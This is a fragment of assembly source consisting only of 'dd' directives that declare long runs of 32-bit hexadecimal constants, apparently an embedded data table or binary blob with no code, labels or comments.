dd 4E550E81h, 1D7B6605h, 0B7DCE70h, 0F37C89B6h, 0C27EF5AAh
dd 5C77784Ah, 7830DCB5h, 0A38671A6h, 0E3E8F49Dh, 2D4D7B6Dh
dd 16934945h, 0F0E8090Eh, 8D6BDFB3h, 93419DF6h, 0F2EB2357h
dd 2ED622A0h, 0AC1C389Ah, 0D039BE76h, 2E55D82Bh, 0FE80202Fh
dd 90845226h, 19CF52C3h, 0EC1C216Eh, 55C26A0h, 0C766B823h
dd 0E3B4601Dh, 4CD976D2h, 0A2B3E45Eh, 0ADAAD167h, 714DA5D1h
dd 57147D2Ah, 0BA45FE88h, 0C1E39DE7h, 1498E790h, 0F0E1E816h
dd 5B523364h, 3667E6AAh, 50FC3AA3h, 4615C2C4h, 8498E3FBh
dd 8EC480E4h, 21C7679Eh, 0F2ABA7C0h, 186B5CECh, 17A56D0Ah
dd 8C257952h, 0D37FCD7h, 7273DD38h, 2FDB20D4h, 0FA0BFA52h
dd 11C7D3C4h, 38C3AA1Eh, 0CB99D54Ch, 0BD11AF64h, 0F57471CCh
dd 1876C03h, 225E0FFCh, 61771146h, 0A3C34BE9h, 2B0D5FFEh
dd 0A95BC95Ch, 6528FB32h, 0CB735305h, 138D775Fh, 0D75E375Fh
dd 0E1A6DF5Dh, 10D84312h, 6382139Ch, 51721853h, 229BD2C8h
dd 40698531h, 0AE3B3536h, 0FFC3F843h, 30CC48BDh, 1722B30h
dd 0D5782F9Eh, 6A6D3F27h, 2A96A9E0h, 0E4252EAh, 892490E5h
dd 6CE66535h, 0FE174F9Eh, 7CC60D4Fh, 4C9CEA8Dh, 112C4FB3h
dd 68500D9Ah, 0FD85E6BEh, 80AA4848h, 0EE10C7E2h, 9FAC5AC5h
dd 0FA6657Eh, 0B0ADA63Ch, 0C42BC87h, 0A44AD262h, 0C0D28E82h
dd 0B086FCBCh, 84A7D9D1h, 3BE78C75h, 7D3B11DEh, 24B32D0Ch
dd 9F54EECFh, 94EDDF6Ah, 6A9508B5h, 29F8EAB2h, 33555BB8h
dd 0A1E5BFD0h, 2EE51012h, 0A893A89Eh, 29AC2557h, 889E8583h
dd 283DD989h, 8FBDFF1Bh, 0E13DB37Ah, 0F2DE69Fh, 0A89D1CAAh
dd 6547814Dh, 0A6DFD16h, 0A8E3A13Ah, 293B24DEh, 4355F672h
dd 2C291D3h, 0CEA40C18h, 41593ACAh, 519449F4h, 69364B83h
dd 57BC6CEBh, 565BBEFDh, 82A0D673h, 9C1E224h, 1FAB9BFh
dd 7375D9C4h, 9AC79108h, 6046E5Bh, 495D70E9h, 499F04E7h
dd 842D371Dh, 0AA18D87Eh, 0C4F8DF7Bh, 112F6E94h, 7B8B25D5h
dd 991E8288h, 2BF54357h, 2C80FA2Fh, 87F9E1BEh, 0E463E211h
dd 5A114F81h, 0F005E2ABh, 6C7F1203h, 16BD7AC1h, 6E30F36Bh
dd 0BE3848BDh, 6CA67F17h, 5A75BAE2h, 7F58BADCh, 61466931h
dd 2CA82887h, 0C2EC1CA6h, 6446D4BFh, 0C60A29h, 7AD4E4ADh
dd 0D74266C6h, 0CF39D196h, 6261DBBh, 5A4F9D73h, 0F7BB71E7h
dd 0BDD89247h, 0A5E08F04h
dd 87B487DBh, 554889ECh, 0A96B0C2Ah, 14B8FD4Bh, 2B2931F2h
dd 0DC40A649h, 4AC1AB2h, 8CFB2ABBh, 0A203C309h, 0FEE4649Fh
dd 37CAB9D4h, 672F9DDBh, 0E3473DB4h, 9ADC9D4Eh, 407EABB5h
dd 0E4B517Ch, 19D49BDBh, 5464D296h, 0DFCF7C51h, 9DB7BD06h
dd 0D4F23E1Eh, 3893C2F5h, 15819866h, 0B24AB432h, 0FDAB9200h
dd 62CFAA2Fh, 1FE1DE57h, 100C5769h, 81BC7846h, 6CE299A8h
dd 88E98090h, 4B67153Bh, 23B102C5h, 4811DABAh, 1C0E5E06h
dd 27C54555h, 0B438E445h, 90791594h, 3B908F55h, 73108702h
dd 0DAAE0A58h, 8C9F2E02h, 22F58C00h, 28B83E2Fh, 5A70C9D3h
dd 0DD89C7E3h, 323D7C77h, 76E58BC9h, 2AA44C33h, 4FAE8E03h
dd 1B7FB2A3h, 0E04A7A26h, 642AB5C7h, 3468BD2Dh, 5C7C7089h
dd 0BC508074h, 0A745FA90h, 957D8EB8h, 2E95546Ah, 87555934h
dd 0D3192000h, 33F81C54h, 0C794501Fh, 8DEC157Eh, 0B3368081h
dd 0E6CF408h, 82CE7C69h, 2EA37A20h, 8C22C9EDh, 0C489724h
dd 1772D432h, 3BFBC6EDh, 4A6CCB9Ch, 84593FC3h, 0DB57839Ah
dd 0FB0768FCh, 3C4FA34Bh, 92D994DCh, 4679AE41h, 865C8278h
dd 75CAE7BCh, 825B9B4Dh, 0CCF820A7h, 96A1FAF1h, 7DE95799h
dd 13CBFAEDh, 9D6B86D5h, 4A02FD5Dh, 0D55C2BC7h, 8EB607DFh
dd 0B1BF083Ch, 475919DCh, 0E6830246h, 0C2F7174Eh, 7F40E4Bh
dd 5C1FD7A9h, 0D8C4985h, 0EEEE0EE1h, 0B6B3616Fh, 0E2B86157h
dd 25D706CBh, 42681933h, 4E85BD9Bh, 6248549Ch, 0FBD91497h
dd 14AE9315h, 0E7B7B21Eh, 57075587h, 2F6147D1h, 8D71488Ah
dd 9BA46E8h, 595027A2h, 474BB74Eh, 0D53E142Ah, 0CA773D7Bh
dd 0FD4A033Eh, 0CB406622h, 60FF80B2h, 0E1E224B9h, 0DD51A300h
dd 0B92C69E8h, 48D49FE4h, 622FCDD0h, 0F96614BEh, 37050081h
dd 33A2EE1Fh, 0D7982A7Eh, 0D2C4C809h, 5567C4B4h, 0DF54A84Ah
dd 0C3FDD512h, 3DADE221h, 7FC5C600h, 5A5F611Bh, 0F65ABD7h
dd 296AA991h, 80199B05h, 814A7C1h, 0EFFBBE38h, 0DE28DBE0h
dd 0E1D365B9h, 8DBE7281h, 55DABAF6h, 0D9C28ED8h, 1BB23926h
dd 8B25BC90h, 0FF655CB3h, 4C680978h, 494048B5h, 0CCE07345h
dd 6EB3097Ch, 0DFC016A6h, 86D843BFh, 4AA49E44h, 96B8A0CEh
dd 86D1822Bh, 0D571BF14h, 36E4B7Dh, 1B7DA656h, 0CCECB9FFh
dd 16394924h, 0DFFA0B20h, 0D002BF5Dh, 0B9B00DF2h, 2D4B96F1h
dd 3B0F5EF8h, 3EC73B6Fh, 7E7DD9Ah, 51ED943h, 6FBD40Ch
dd 0CCD6B559h, 78A28E88h, 0C6975120h, 25388602h, 0D5DF1EC7h
dd 0E3B4EDF0h, 92D1074Ah, 0F33F37B7h, 9F67FBFEh, 727224EFh
dd 0D74963D6h, 1B20A205h, 1DEB7013h, 0A54985Fh, 578F29BEh
dd 0B639F0Dh, 332A0C40h, 6C50EE19h, 4382ABDDh, 9B1EF5FDh
dd 0B708F7A9h, 17C71485h, 6C9A52A4h, 7BA082A7h, 0E27DCAD0h
dd 80AC2413h, 521ED3F9h, 716A1201h, 0F99FD3F5h, 0DCDEB9B3h
dd 0CA89D3D0h, 0F1B50A95h, 3002F163h, 0B4E2C320h, 0BAA42331h
dd 675DA349h, 1A7DC40Dh, 8C8B8403h, 0BDF5CA1h, 0EE1B1F84h
dd 13858067h, 9073A093h, 41FA455Ah, 8B94EA52h, 5526321Dh
dd 511A8811h, 124993F2h, 0FB6C7E31h, 40A476B2h, 676BE7B9h
dd 0A65E7BDDh, 5EE5FFBBh, 97AB0539h, 49DFE39Ch, 0B5BF79C7h
dd 309EBDBCh, 8197C53Ah, 19953F56h, 8C37544Ch, 0F7282C68h
dd 0CFF0D335h, 0A6503CF3h, 7BE48E41h, 0E628F5F5h, 6CCC2437h
dd 9B668C5Ch, 7A7598C1h, 10616345h, 0FF4FB7F8h, 4922612h
dd 139A0208h, 6B48B54Fh, 0FE7D6BAAh, 6A98F9E8h, 7575F6C6h
dd 98F38FC5h, 0BB4B66E7h, 0A5924938h, 0ED09B429h, 67F3B69Fh
dd 70A16DB6h, 0DF8B9CDFh, 0FE224C27h, 4B9FD0BFh, 95B0ED33h
dd 0BA6E4DE8h, 0B043A788h, 86EBE4DBh, 0C370CFCBh, 0DF3A55B8h
dd 70FB4215h, 0F03862D6h, 1628BA7Ah, 4A16C036h, 5EBEF3DDh
dd 6E26DC56h, 0F4AF69F3h, 0FE63018Dh, 0DD3B5F1Fh, 6811C9Ch
dd 39A6F1A6h, 8E4B2FBBh, 0ACD320AAh, 9963BF46h, 4B13C6C6h
dd 9B59D988h, 2B55EC58h, 0C946EBE6h, 9275ADB4h, 3A903178h
dd 24F5179Fh, 4B29EA44h, 0EAD68A31h, 84BC29AAh, 0F7DB3F3Dh
dd 75233476h, 32664881h, 33AE80C8h, 297B3DAEh, 1793AFB8h
dd 7094ECF0h, 8323A037h, 87510EE0h, 0D4A5292Eh, 0F2A3355h
dd 0E9236775h, 0A8E0762Ah, 0DDF0987Eh, 0BEBFB123h, 83B84276h
dd 648CCABFh, 0D3B1EFB8h, 787609F0h, 7BF5253Dh, 1CC29B2Dh
dd 8F681CDEh, 0F3BA44Dh, 0FB2609B1h, 13B202B5h, 15DAE632h
dd 1FB84143h, 39D0EDFh, 4DDEF9EDh, 24C5E58Bh, 3C9D4EA5h
dd 9C567E3Dh, 6E3FA825h, 1DD0DF61h, 0D830C754h, 0A6F66B74h
dd 9D3D374Bh, 4477810Bh, 0AD3D92FAh, 529B30CDh, 5E70BFD1h
dd 9073CC57h, 0C824FC74h, 4D442F0Ah, 86A9C503h, 2F6D139Bh
dd 6CDA0056h, 0BD5025F6h, 1274FE0Dh, 2FE2F7E2h, 5FFF7801h
dd 5F4A86DFh, 7362123Bh, 93BC8766h, 1827B174h, 2F33F00Dh
dd 0E9F601FBh, 0F52A79FCh, 78EA1E31h, 356920BAh, 0F3F5C966h
dd 7EA7C709h, 0ECB473D8h, 6995B74Fh, 0A5DBC820h, 0EFE56FB5h
dd 3E8546E7h, 0E626BB94h, 0F677D626h, 609E4111h, 63C93B19h
dd 3208038Ah, 4A4D5EFEh, 0FFA42595h, 4F72B530h, 43858EB7h
dd 0F0AFB9DBh, 23157593h, 2C90603Fh, 0E48C6100h, 312E9BACh
dd 0D301251h, 0D8F1387Ch, 6F7C3C23h, 0DCB939ABh, 2E3BD7F6h
dd 0DD62F56Bh, 65695DF5h, 19C25A19h, 1D1322Ch, 0C84B9153h
dd 92CBA06Dh, 0C4CEAB0Dh, 0B8ED6BB7h, 0EDCDDCBh, 3AC0475h
dd 380A3908h, 6D2A6185h, 481D2124h, 0AEF2C531h, 0B547D2B1h
dd 0F4EA336Ah, 5BE46123h, 0C9714D2Dh, 7D1B5800h, 0A8330FF9h
dd 0EDD77CDDh, 3B1E685h, 0B57AC3B9h, 88D39D27h, 1C2A26CCh
dd 0DA4EDAA6h, 854BBAC7h, 3B44E8D1h, 0DCDF0A72h, 95E3C686h
dd 5405BD25h, 219A56E5h, 24B97B7Eh, 3A5810C0h, 0DF64AEFBh
dd 0AE38B0Fh, 7370C24Eh, 9F69BF15h, 52D7CCB2h, 0F81C049Ah
dd 0F12D5A81h, 94B2B933h, 673FA556h, 17370616h, 25A411h
dd 0DECFEBh, 14DFCC86h, 604977F1h, 5AEFFD7Bh, 0EF10448Ch
dd 5D4F120Eh, 0A973C6B7h, 0CAF9D52Fh, 0D79540E0h, 7EDEAE0Eh
dd 63225CB4h, 9574AF9Ah, 8B129025h, 35672BB7h, 6D32C49Eh
dd 0B31D90D0h, 0BED7AE17h, 6BFA1FC8h, 0DCBFD144h, 7AD3E5B7h
dd 23003F15h, 0A71E7537h, 1D0D6EB1h, 0B5A2D5DFh, 94C08ECEh
dd 4CF4307Dh, 5A5B6D31h, 14014EAAh, 0E5A75418h, 3C62DE6Ch
dd 7C9AB446h, 0D88AF2E7h, 2F4F604Bh, 556F39C3h, 626E93C5h
dd 5AE2B7FCh, 2951860Ah, 0C4F29FE6h, 0E932726Ch, 4FE8A0E0h
dd 0DB2B90EAh, 0A06A6B44h, 75F44347h, 8CD35A7Ch, 0F32E2210h
dd 79620635h, 28A9A7AFh, 61EDB05Fh, 5F6A6E14h, 0A9E5AB3Ah
dd 0B5A2DDBDh, 0A9FA81BDh, 4A40943Ch, 0FF72B9A6h, 82B0FC8Dh
dd 0DA3E580Eh, 0ECE2CC76h, 3314847Ch, 0A361E5F3h, 95925F13h
dd 234042Ch, 7BFA612Dh, 9BAA9E04h, 0E4FCD9C9h, 96A78503h
dd 0F5493027h, 738A4623h, 0A0B82A5Dh, 34C57E9Bh, 27E722C6h
dd 8BBE21E3h, 0B7D8F6CDh, 61D3F093h, 8B5831F5h, 79FC5560h
dd 0E1BBD121h, 28310D41h, 6E789D3Dh, 0DFB65FD8h, 0CC329C80h
dd 0E03B10E1h, 6D5010DDh, 72B4BB12h, 95D5E30Dh, 7AC5045Ah
dd 0E6DEC747h, 95736468h, 67A73B58h, 75881E79h, 8024356Eh
dd 0AE7FAF7Dh, 6A14542Bh, 9DBAFB15h, 3CE6478Ah, 0F8B5CFC5h
dd 0F3B5F4h, 0E85B211Eh
dd 0FAB46312h, 0DB9BBDF0h, 2E684404h, 1CDF0D0Fh, 6A7DED92h
dd 9860082Bh, 9B511E91h, 90ED3CCFh, 17C0D334h, 88268DDFh
dd 0EB7A9795h, 706491A6h, 0E9F0F722h, 3C5C4F3Eh, 42C9CD33h
dd 0FD62090Dh, 0DF42831Ah, 36BD222h, 0A25D0BEh, 0FD693BCEh
dd 0A7807791h, 0DBFE91ACh, 78EF6244h, 31320DF8h, 0EA23B8E8h
dd 6EAF5E18h, 1688E5B3h, 178D2E37h, 0EABD3402h, 0BA7C4B91h
dd 92FA5B4h, 14C8C283h, 31B7632Ch, 0E5426257h, 974AC0FEh
dd 0B288C8B0h, 0BE192F80h, 7DA557E4h, 83F78AFFh, 72160228h
dd 59E44FA1h, 7C751CC2h, 5598764Eh, 0BE39EEBEh, 0E6C16BA5h
dd 91FF9C39h, 0BE8E856h, 2867F2E0h, 0C0549813h, 5D2CE0F3h
dd 0C2CA50A7h, 0B6710EC0h, 0D23B6DC6h, 0B31CC83Dh, 0DE2D6023h
dd 297E7B0Ah, 13E05B21h, 3454B37Fh, 39A33CCFh, 113D6654h
dd 32BB885Fh, 23C7ED62h, 8DB8963Ah, 32FA236Bh, 41D0A5B6h
dd 8C695F72h, 0AE72670Ah, 0A4E3D85Fh, 4808F081h, 1FAED7AEh
dd 0A673843Bh, 0F6BC3FDEh, 0A1CF09A8h, 511CF9DAh, 0D0E64F51h
dd 75DF91F3h, 0FEC27233h, 69AB2B9Ch, 0AEB61ED5h, 7DB49E65h
dd 9BEE0A8Bh, 29AC3969h, 258D16C1h, 289EF445h, 15C54C05h
dd 0E4B96161h, 0A9F4DBAAh, 0E2371EC1h, 4DE06B9Eh, 8E6E8677h
dd 0F3518B3Eh, 55A24806h, 4F99FF4Fh, 1B075CC0h, 3DB021F6h
dd 30C4C4E1h, 0DE43F7EBh, 83CC354h, 40FC3F47h, 0DBFFE8A5h
dd 2F3C84EEh, 0DF1C3875h, 0CEA1A27Eh, 0BA72524Bh, 9859C29Ch
dd 90E35075h, 4604B6ADh, 49BA4230h, 0DEEE9E39h, 0BB7FA325h
dd 0DB397D2Ch, 74172BCAh, 7C7FDC95h, 8A60F528h, 8F555467h
dd 49AF0554h, 34AD6F9Dh, 680F6E30h, 0E09266Ch, 76D35691h
dd 7BF0E6D2h, 996910F1h, 483B100Ch, 3481430h, 58B57806h
dd 5090A9Bh, 0C0A5AD98h, 0BB98BC7Ah, 0A396DC28h, 0ADB0A146h
dd 0A28C957Dh, 2E43F2BBh, 3F0C5069h, 85D73F0Ch, 0C826EE24h
dd 77E39BAh, 5270805Dh, 0DC1E956Dh, 0BFE6D4D4h, 69E68E03h
dd 0ED8BC09Dh, 3E127590h, 0CCDE57DCh, 0BEB8400Eh, 2CB0AD9h
dd 29863449h, 249C1A8Ch, 598D0874h, 806169A6h, 0A7BFE8A0h
dd 0EA4049EAh, 0B69DDCEh, 7D697A42h, 4323DA88h, 1F6771AEh
dd 0C076A9E7h, 35768F51h, 324F86C1h, 0D1D7AB34h, 17037213h
dd 4D381B0Ah, 0A69B2777h, 64A92A0Ah, 0CCE2EF52h, 166098ADh
dd 0A957F2BCh, 43CF2828h, 33829853h, 0D35F7072h, 0AEDC028Fh
dd 4B45B0FFh, 53F8F690h, 194A5B68h, 0CF6C732Fh, 668B425Bh
dd 7707AC97h, 5F06692h, 0F7647F2Fh, 7DAB70Ah, 458C391Ah
dd 8C5E4F88h, 75ACF4E7h, 0B9FE6D22h, 0B4C52B82h, 0CD35BC85h
dd 1CFAB227h, 93B41F34h, 39E19A9Fh, 0D62EDE68h, 0C5CCFA7Fh
dd 0B662F2DCh, 0C1C994CFh, 0FF1E46D3h, 8814B46Ch, 96739ABCh
dd 40F1FB9h, 688FFB18h, 79F23FA5h, 0DCCCD035h, 11D70C4Bh
dd 47ADB956h, 8B612EBDh, 61BFB0A6h, 0ED0724A3h, 1CAEB040h
dd 6D024EEh, 80637F00h, 0B148AA46h, 0DA3EAFE3h, 10989A1h
dd 7111D840h, 460B3F9Dh, 0AE2D9249h, 79C2BB68h, 6ABE29CFh
dd 0F16AF719h, 9E54DA64h, 5EABAA6Eh, 0E817A846h, 2A9E1A0Ch
dd 0A0C85427h, 6D140CF7h, 0B9CC0F9Eh, 0EF6ACED4h, 2BDAC7B7h
dd 68A75C65h, 983CFF01h, 0D3ED308Fh, 0A4077808h, 13CCA229h
dd 47E12378h, 58C352AFh, 0F1E613A9h, 25238610h, 0FF3B0A96h
dd 7FF844ECh, 500A0EACh, 5B0B418Bh, 6BD22C33h, 55C16379h
dd 0F8C6987Ch, 0C96499CBh, 0B8143881h, 0A7344C63h, 0EB3AC5C8h
dd 0E9EDE1B3h, 0A7F66579h, 0F59E65EDh, 1372A00Dh, 15930AF1h
dd 8B976DB1h, 0CFF5D62Eh, 0C27A1C9Eh, 0ED22CDEFh, 545F1FB1h
dd 0CC80D15Eh, 5E3CED88h, 0B0C7686Ah, 52298895h, 6B40D375h
dd 0B62A3B88h, 0F47DF530h, 0F24C9077h, 0FB506706h, 2BBBCF2Dh
dd 9E2993Ah, 0D1737B19h, 715F6DB5h, 9D38F725h, 99ADC04Ch
dd 0A9662470h, 548D8B75h, 4D790B1h, 0FFF2B973h, 21B5FFEAh
dd 70EE7554h, 935756D8h, 184AC542h, 37DE1C65h, 1DD107BEh
dd 180190A2h, 75732F0Bh, 6A8209B2h, 0E807F9A8h, 2F8D9478h
dd 0AEE8F3EDh, 815406E6h, 4E1929EAh, 890DED49h, 0A1B104Fh
dd 5F97A56h, 0C2F25BEDh, 0E4CD4CD2h, 0CA6ED661h, 2ECA5942h
dd 0A1F1AA5Fh, 1E1A934Ah, 3D941A7Eh, 0AC2B1AD8h, 2CC5158Dh
dd 3578A105h, 0B571CE05h, 0C78A1343h, 0FDD27A9Eh, 0C88650E8h
dd 8466421h, 2F9C0F95h, 5DA3818Dh, 0F9310015h, 0D5E47A7Dh
dd 3E3F946Bh, 89E8BE77h, 39E285FDh, 7ED9A434h, 0F446075Fh
dd 9D54A61Bh, 6EA52BE4h, 45B9A339h, 399DA34Ah, 66EFEB53h
dd 11B8A418h, 1EE91FC2h, 891DA40Eh, 7ADA2D3Ch, 0CDD77862h
dd 52F6B608h, 506B0830h, 6828E6A4h, 0B06E7DD9h, 0A9E1481Bh
dd 52CA5D14h, 0BBA36141h, 6A36675Ch, 4B5BBDAEh, 0BC988B68h
dd 91887D26h, 0AC3CD84Ch, 0FBD4100Ah, 9B2CFBC2h, 0F6C94BF2h
dd 0FAA17672h, 4C982384h, 0E0D16EAh, 91E075CAh, 3581614Fh
dd 0FD6DC2ACh, 32E54013h, 9B12AB5Fh, 40C8E8C6h, 0FE5146E1h
dd 0D0689C02h, 0C8FA6227h, 7E91567Bh, 0E3C53891h, 6B97B454h
dd 75F7C7DFh, 213A3B49h, 2CD1242h, 0F2CFAB40h, 26A42B99h
dd 49115F68h, 2D3B3799h, 8E223C40h, 70D6F007h, 8EBED535h
dd 9367BF80h, 0DEA32F17h, 3F2F7736h, 913CBF6Ch, 2061D504h
dd 88FA9DDAh, 1E8EA539h, 161EC9F9h, 83A8345Dh, 6C65D89Ah
dd 0EE7E2840h, 0C0ABB964h, 56D6026Ch, 5BFCC984h, 9F27B77Ch
dd 8405CDC1h, 0DC40D40Ah, 6443F3Fh, 31384909h, 0EAB7FAE4h
dd 246E115Eh, 0F9018F3h, 42870811h, 0FA9F2107h, 0C4CAAE2Dh
dd 393ABE78h, 150FAFBh, 0CEFA0A85h, 9E8FA83Ah, 2607934Ch
dd 1C0925Ah, 2F15BBFFh, 0E4F3D270h, 61BACEC4h, 968992BEh
dd 0CDC764A4h, 0ED71DA68h, 6D2776CAh, 8F7172B0h, 8B50CBF0h
dd 2778E64Eh, 8ACEC62Ah, 1F1AE1D8h, 70664F51h, 0BCAE7B83h
dd 6961DFA3h, 2B8DA9B2h, 3BEF2237h, 0F3B52C95h, 3357D811h
dd 1E7E4302h, 969BA398h, 9C581A4Dh, 6A68D268h, 0E401F2E0h
dd 1AF8ACBEh, 1DCF7AF5h, 5E9E7D78h, 0A23AD55Ah, 0FDD09808h
dd 1E62656Ch, 0DB2C2A08h, 5D1C8E72h, 0B8EF03AEh, 0F7C17B01h
dd 53C928F9h, 3DD8CAB5h, 508C0371h, 4FAEAD85h, 1988C1E0h
dd 386B7F7Ch, 0EB5641ACh, 8BB5BB5Ah, 0CA2D9795h, 0B2FDA380h
dd 87B7F2F2h, 471FDCC9h, 12BE5F9Bh, 0EC740ACCh, 817F1144h
dd 853967DEh, 0CF61CC99h, 86749F09h, 66ACC5F4h, 0AC506CF0h
dd 9D0DED70h, 2C77A180h, 756654DAh, 68828081h, 68CAAAFh
dd 0A603EFFAh, 8AAD7FCEh, 5D7C8EEFh, 31A4B8C4h, 13A3362Ah
dd 1D40AA57h, 0F6EF1573h, 3BBB9ADAh, 0FE671BC6h, 0AC10A7A0h
dd 7A292A71h, 0E739A72Fh, 0D3B5B38Ch, 0E2EF0894h, 67BE5FACh
dd 1FDB6563h, 7FFFD711h, 5CD6CEDAh, 0A5216C72h, 82E7F974h
dd 0FAB9F66Dh, 0EAC796CAh, 173980E4h, 0C8540E42h, 0B6BEB61Dh
dd 3AAC14F8h, 0A8268998h, 83D3CCDCh, 4161EC31h, 0B9B5AAB1h
dd 6A5AD8D0h, 73DEFE38h, 0BCCBFE1h, 0E3C9702Dh, 55DFBC05h
dd 185A087Ah, 0DF1DD86Dh, 29988308h, 4B1AA5E6h, 0CB724CFBh
dd 0C9AB8960h, 0A8586F1Bh, 6EDC3AFEh, 0CC359D8Bh, 0F616F24Dh
dd 0E10A5377h, 0D6468581h, 293AE27Fh, 6A311FA5h, 40AA0556h
dd 0AD2BA417h, 1DE7AF1h, 474B2F1Dh, 1C915B27h, 27E3FEAAh
dd 2CD3E610h, 906607C0h
dd 3BB32A62h, 0AB4F3A09h, 0A36953DAh, 64034979h, 5670A21Dh
dd 945CBF01h, 0FC6A4883h, 0F2D958D1h, 0B97924C3h, 0C9446CCDh
dd 39C0BE52h, 5EF495E5h, 0BA0F71F6h, 643008B9h, 0AEF7026Fh
dd 9CF38DB0h, 555B34ACh, 82869396h, 5BA70E44h, 0F7B0E024h
dd 79A25CDEh, 0AF2BB986h, 1B7D28D6h, 6B86BFD7h, 0A46D5A73h
dd 0F7BCA000h, 4339A5CCh, 0C0651AF1h, 0BF5BCAC4h, 0B789C8E4h
dd 38EF68h, 8DD734D8h, 65DE832Fh, 39797DFEh, 0DB2C774Bh
dd 5713EAEAh, 5DEB2E0Dh, 0A4CF60EEh, 0ABC50470h, 0E2E2AD23h
dd 2BEDFA55h, 1428A0AEh, 6EC6A8F7h, 0B506C91Fh, 9C8768FBh
dd 0B4E58E87h, 58F53A5Fh, 41DC6F5Dh, 3F1CA481h, 250D13D6h
dd 15B96B38h, 865A3E4Eh, 0CD96644Fh, 1E7BABBh, 6C7CDF37h
dd 4216F78Ah, 0FA6D23ECh, 742CD616h, 62918C2Bh, 3C1F0A89h
dd 49D770CBh, 0FA6AB610h, 9F7D3623h, 0EDD2F11Ch, 9838DDBDh
dd 7389C5D6h, 4CBB1078h, 0C0D62377h, 3B401CB0h, 31DE06Dh
dd 0D79DA959h, 4CAE4A13h, 0DE9C0F62h, 861152F6h, 12925707h
dd 1AB96A7Ah, 0D9D98426h, 0AAC9E3Ch, 50EA18C2h, 1C0CAC93h
dd 0AE353599h, 98C5A87Bh, 0B5866CF2h, 478FD42Bh, 24DBF628h
dd 0D805A021h, 363A7544h, 0C3243E79h, 313E0883h, 0E1C5E3BBh
dd 22170A55h, 3898C55Ah, 67C78FB8h, 0A824524Dh, 4D713165h
dd 3236DD20h, 0F2C22320h, 0E5FC95A7h, 740D0708h, 700080DAh
dd 0B25A12FDh, 0C3A8C6CAh, 96D8E48Ah, 58323E24h, 95376258h
dd 1B096D54h, 9068C814h, 0AC97CB79h, 0A6EE94Eh, 0C8EBB5F6h
dd 0EC316828h, 7176FC2Fh, 0EC540211h, 2B416F9Dh, 0F432232Dh
dd 38C6CA37h, 95E20F2Dh, 0B931E028h, 119D29D4h, 0F54C9C73h
dd 230AB331h, 0AA3A33C5h, 0BF1B5E0h, 0ABC40DE1h, 7AF17E02h
dd 9E1F24BBh, 5CDC55Dh, 68921611h, 0DD69401Ch, 23347B2Ch
dd 952DD23Ah, 0C3633B04h, 0FB372CEh, 25436596h, 95D0BA3Ah
dd 0CFDE55A6h, 0B3442CA4h, 88037FA8h, 0D1A891E5h, 897289A6h
dd 0B09814E9h, 9FCBD2BAh, 4E94B298h, 3055E998h, 35CA026Bh
dd 0DACD768Dh, 7A366EB5h, 3684E10Ch, 0FE3A6ABBh, 0EA7AC184h
dd 49ABEE28h, 15A71EB3h, 8D8FC177h, 9A8E73FCh, 0B0CC6251h
dd 0EE294B10h, 0D0FD55BFh, 66064120h, 687A366Dh, 0B6E9F47Dh
dd 90C3C6E2h, 0D2CD9C62h, 0B18EEB06h, 43588A1h, 0D75018A5h
dd 9C46C72Ah, 0ABCB7AF6h, 0DF595DB9h, 81E8FA1Bh, 99BAF0C7h
dd 37CC6CDDh, 80554430h, 0A20664DCh, 3BB03522h, 8C6B842Dh
dd 8E48A5A0h, 9634B54Bh, 83700BCAh, 5A149787h, 2862AB8Eh
dd 0EBA1FD93h, 9ADEC05Dh, 6D3B7A6Ch, 6C704B33h, 21B42B39h
dd 0F97761DAh, 7587BAD7h, 4AF8B7C0h, 0E24D6918h, 4D754D73h
dd 0A262D15Dh, 0B29A879Fh, 161BF9D8h, 0B2B984C4h, 5B96D1E3h
dd 6B38181Bh, 46037133h, 185875F1h, 0AD4B6ED4h, 2A9062DDh
dd 0BBEA1348h, 9E409B06h, 0D0CE9699h, 0BA0D5E9Bh, 0A0D1D4F9h
dd 0A270E59Ch, 69FDDE71h, 414D056Eh, 0BB826A04h, 931030C9h
dd 9D3A21Ah, 9CC1A04Eh, 458AD947h, 0BEB8120Fh, 813947E3h
dd 39786A90h, 7459BAD9h, 0D569AFE1h, 0C5FED50Fh, 9A1B905h
dd 0F9F7A441h, 0EF7ADD25h, 470AEBA8h, 0AB65ED34h, 0C4430DAFh
dd 1D494F2Dh, 0A9673CCFh, 0DEF2C119h, 0C88FF0C9h, 0E2BFCE8Eh
dd 682688A0h, 0BF09313Bh, 9FE7CC4Dh, 815549D2h, 0F48ACD6Eh
dd 5CCAD156h, 8FB6A36Fh, 0FC09971Ch, 0F6038F2Dh, 8A135306h
dd 9DDD109Eh, 6847249Ah, 0E47F6432h, 8097E2D8h, 33EC1DD5h
dd 7114E131h, 6B157D4Bh, 4978B0E7h, 59171ED8h, 0FC44F518h
dd 4F168829h, 85F282A6h, 84744F1Ah, 27FA376Ah, 382AC6D8h
dd 0D3F4FF88h, 3BE62433h, 84BCCB8Ch, 96274C86h, 400C7D40h
dd 0C67B66FAh, 0EB9C0E94h, 7C694D99h, 85BD1A4Dh, 414A5B62h
dd 2E5346BCh, 34104BFEh, 0EBA3576Ah, 20D3CE6Ah, 4FC5D011h
dd 0F2F9EC12h, 0C35D3CB8h, 0B61DD2BDh, 7159A62Eh, 5C866F3Fh
dd 0EA8CE565h, 0AA47E5ABh, 6109B619h, 0B1D3F5DDh, 2F3DD50h
dd 0BA130CADh, 40034ECAh, 4C1B0BC6h, 7A0E3C4Eh, 0D245C1DFh
dd 1EED352Fh, 4E3DD3A0h, 1E36E692h, 7D234670h, 2E60EBE5h
dd 0B7EF2D2Ch, 79CE4FF2h, 0F10337CAh, 0C737706Bh, 5DAE52FAh
dd 0F9F68052h, 75BECC6Bh, 0B35AB370h, 34154D7Eh, 0B70948FAh
dd 0CF8EB890h, 26C69870h, 4D3A9014h, 85E3F574h, 0BC8FE371h
dd 0C066CBA2h, 0DC04AC9Ch, 37CCC07Ch, 8D9465ABh, 98008C93h
dd 0C7CDFE2Fh, 4F043A0Ch, 0D99A2D77h, 6AAAA1FAh, 35B8692Ah
dd 577BA89Eh, 2978C7A6h, 0A54623CAh, 0DE0925B1h, 0B05240B7h
dd 0B172C160h, 2B224B96h, 2DF0E8FBh, 0E1CAA84Dh, 0BD305950h
dd 2286C07Eh, 424D12F9h, 0F0BB6A8Ch, 68D38EF7h, 806DD84Eh
dd 0D326FF56h, 0B60CBE2Fh, 6409E164h, 0A8216FC4h, 2135FD59h
dd 0EC766FDEh, 48DC6C4Eh, 0AEBA6A08h, 0FC891E3Ch, 0D977C240h
dd 0A9720653h, 8331FCFCh, 0A26292A9h, 86E89CEDh, 0E64A1643h
